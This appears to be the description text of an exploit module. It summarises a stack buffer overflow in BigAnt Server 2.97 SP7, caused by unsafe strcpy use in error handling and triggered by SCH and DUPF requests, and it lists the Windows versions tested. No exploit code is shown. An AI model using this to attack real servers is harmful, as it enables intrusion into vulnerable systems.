          This exploits a stack buffer overflow in BigAnt Server 2.97 SP7. The
        vulnerability is due to the dangerous usage of strcpy while handling errors. This
        module uses a combination of SCH and DUPF request to trigger the vulnerability, and
        has been tested successfully against version 2.97 SP7 over Windows XP SP3 and
        Windows 2003 SP2.
